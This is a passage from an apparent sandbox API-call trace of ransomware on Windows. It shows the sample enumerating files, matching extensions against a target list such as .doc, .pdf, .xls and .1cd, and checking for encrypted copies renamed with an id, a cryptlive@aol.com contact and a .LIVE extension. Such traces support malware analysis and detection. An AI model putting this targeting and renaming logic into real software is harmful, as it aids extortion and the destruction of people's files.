lpString2="xml") returned -1 [0129.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.794] lstrlenW (lpString=".dbf") returned 4 [0129.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.794] lstrlenW (lpString=".1cd") returned 4 [0129.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.794] lstrlenW (lpString=".jpg") returned 4 [0129.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.794] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0129.794] lstrlenW (lpString="ea.xml") returned 6 [0129.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0130.210] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=384) returned 1 [0130.211] CloseHandle (hObject=0x308) returned 1 [0130.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0130.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.211] lstrlenW (lpString=".doc") returned 4 [0130.211] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.211] lstrlenW (lpString=".docx") returned 5 [0130.211] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0130.211] lstrlenW (lpString=".pdf") returned 4 [0130.211] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.211] lstrlenW (lpString=".xls") returned 4 [0130.211] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.211] lstrlenW (lpString=".xlsx") returned 5 [0130.211] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0130.211] lstrlenW (lpString=".ppt") returned 4 [0130.212] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.212] lstrlenW (lpString=".zip") returned 4 [0130.212] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.212] lstrlenW (lpString=".rar") returned 4 [0130.212] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString=".bz2") returned 4 [0130.212] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString=".7z") returned 3 [0130.212] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.212] lstrlenW (lpString=".dbf") returned 4 [0130.212] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.212] lstrlenW (lpString=".1cd") returned 4 [0130.212] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.212] lstrlenW (lpString=".jpg") returned 4 [0130.212] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.212] lstrlenW (lpString=".doc") returned 4 [0130.212] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString=".docx") returned 5 [0130.212] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0130.212] lstrlenW (lpString=".pdf") returned 4 [0130.212] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString=".xls") returned 4 [0130.212] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString=".xlsx") returned 5 [0130.212] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0130.212] lstrlenW (lpString=".ppt") returned 4 [0130.212] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.213] lstrlenW (lpString=".zip") returned 4 [0130.213] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.213] lstrlenW (lpString=".rar") returned 4 [0130.213] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.213] lstrlenW (lpString=".bz2") returned 4 [0130.213] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.213] lstrlenW (lpString=".7z") returned 3 [0130.213] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.213] lstrlenW (lpString=".dbf") returned 4 [0130.213] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.213] lstrlenW (lpString=".1cd") returned 4 [0130.213] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0130.213] lstrlenW (lpString=".jpg") returned 4 [0130.213] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.213] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0130.213] lstrlenW (lpString="base_jpn.xml") returned 12 [0130.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0130.650] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=804) returned 1 [0130.650] CloseHandle (hObject=0x2fc) returned 1 [0130.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0130.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.651] lstrlenW (lpString=".doc") returned 4 [0130.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.651] lstrlenW (lpString=".docx") returned 5 [0130.651] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0130.651] lstrlenW (lpString=".pdf") returned 4 [0130.651] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.651] lstrlenW (lpString=".xls") returned 4 [0130.651] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.651] lstrlenW (lpString=".xlsx") returned 5 [0130.651] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0130.651] lstrlenW (lpString=".ppt") returned 4 [0130.651] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.651] lstrlenW (lpString=".zip") returned 4 [0130.651] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.652] lstrlenW (lpString=".rar") returned 4 [0130.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString=".bz2") returned 4 [0130.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString=".7z") returned 3 [0130.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.652] lstrlenW (lpString=".dbf") returned 4 [0130.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.652] lstrlenW (lpString=".1cd") returned 4 [0130.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.652] lstrlenW (lpString=".jpg") returned 4 [0130.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.652] lstrlenW (lpString=".doc") returned 4 [0130.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString=".docx") returned 5 [0130.652] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0130.652] lstrlenW (lpString=".pdf") returned 4 [0130.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString=".xls") returned 4 [0130.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString=".xlsx") returned 5 [0130.652] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0130.652] lstrlenW (lpString=".ppt") returned 4 [0130.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.652] lstrlenW (lpString=".zip") returned 4 [0130.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.652] lstrlenW (lpString=".rar") returned 4 [0130.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.652] lstrlenW (lpString=".bz2") returned 4 [0130.653] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.653] lstrlenW (lpString=".7z") returned 3 [0130.653] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.653] lstrlenW (lpString=".dbf") returned 4 [0130.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.653] lstrlenW (lpString=".1cd") returned 4 [0130.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0130.653] lstrlenW (lpString=".jpg") returned 4 [0130.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.653] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0130.653] lstrlenW (lpString="base_kor.xml") returned 12 [0130.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.102] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=488) returned 1 [0131.102] CloseHandle (hObject=0x314) returned 1 [0131.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0131.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.102] lstrlenW (lpString=".doc") returned 4 [0131.102] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.102] lstrlenW (lpString=".docx") returned 5 [0131.102] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.102] lstrlenW (lpString=".pdf") returned 4 [0131.102] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.102] lstrlenW (lpString=".xls") returned 4 [0131.102] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.102] lstrlenW (lpString=".xlsx") returned 5 [0131.102] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.102] lstrlenW (lpString=".ppt") returned 4 [0131.102] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.102] lstrlenW (lpString=".zip") returned 4 [0131.102] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.103] lstrlenW (lpString=".rar") returned 4 [0131.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString=".bz2") returned 4 [0131.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString=".7z") returned 3 [0131.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.103] lstrlenW (lpString=".dbf") returned 4 [0131.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.103] lstrlenW (lpString=".1cd") returned 4 [0131.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.103] lstrlenW (lpString=".jpg") returned 4 [0131.103] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.103] lstrlenW (lpString=".doc") returned 4 [0131.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString=".docx") returned 5 [0131.103] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.103] lstrlenW (lpString=".pdf") returned 4 [0131.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.103] lstrlenW (lpString=".xls") returned 4 [0131.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.104] lstrlenW (lpString=".xlsx") returned 5 [0131.104] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.104] lstrlenW (lpString=".ppt") returned 4 [0131.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.104] lstrlenW (lpString=".zip") returned 4 [0131.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.104] lstrlenW (lpString=".rar") returned 4 [0131.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.104] lstrlenW (lpString=".bz2") returned 4 [0131.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.104] lstrlenW (lpString=".7z") returned 3 [0131.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.104] lstrlenW (lpString=".dbf") returned 4 [0131.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.104] lstrlenW (lpString=".1cd") returned 4 [0131.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0131.104] lstrlenW (lpString=".jpg") returned 4 [0131.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.104] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.104] lstrlenW (lpString="base_rtl.xml") returned 12 [0131.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.105] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=617) returned 1 [0131.105] CloseHandle (hObject=0x314) returned 1 [0131.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0131.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.105] lstrlenW (lpString=".doc") returned 4 [0131.105] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.105] lstrlenW (lpString=".docx") returned 5 [0131.105] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0131.105] lstrlenW (lpString=".pdf") returned 4 [0131.105] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.105] lstrlenW (lpString=".xls") returned 4 [0131.105] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.105] lstrlenW (lpString=".xlsx") returned 5 [0131.105] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0131.105] lstrlenW (lpString=".ppt") returned 4 [0131.106] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.106] lstrlenW (lpString=".zip") returned 4 [0131.106] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.106] lstrlenW (lpString=".rar") returned 4 [0131.106] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString=".bz2") returned 4 [0131.106] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString=".7z") returned 3 [0131.106] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.106] lstrlenW (lpString=".dbf") returned 4 [0131.106] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.106] lstrlenW (lpString=".1cd") returned 4 [0131.106] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.106] lstrlenW (lpString=".jpg") returned 4 [0131.106] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.106] lstrlenW (lpString=".doc") returned 4 [0131.106] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.106] lstrlenW (lpString=".docx") returned 5 [0131.106] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0131.106] lstrlenW (lpString=".pdf") returned 4 [0131.107] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString=".xls") returned 4 [0131.107] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString=".xlsx") returned 5 [0131.107] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0131.107] lstrlenW (lpString=".ppt") returned 4 [0131.107] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.107] lstrlenW (lpString=".zip") returned 4 [0131.107] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.107] lstrlenW (lpString=".rar") returned 4 [0131.107] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString=".bz2") returned 4 [0131.107] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString=".7z") returned 3 [0131.107] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.107] lstrlenW (lpString=".dbf") returned 4 [0131.107] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.107] lstrlenW (lpString=".1cd") returned 4 [0131.107] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0131.107] lstrlenW (lpString=".jpg") returned 4 [0131.107] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.108] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.108] lstrlenW (lpString="ja-jp.xml") returned 9 [0131.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.111] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=16616) returned 1 [0131.111] CloseHandle (hObject=0x314) returned 1 [0131.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0131.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft 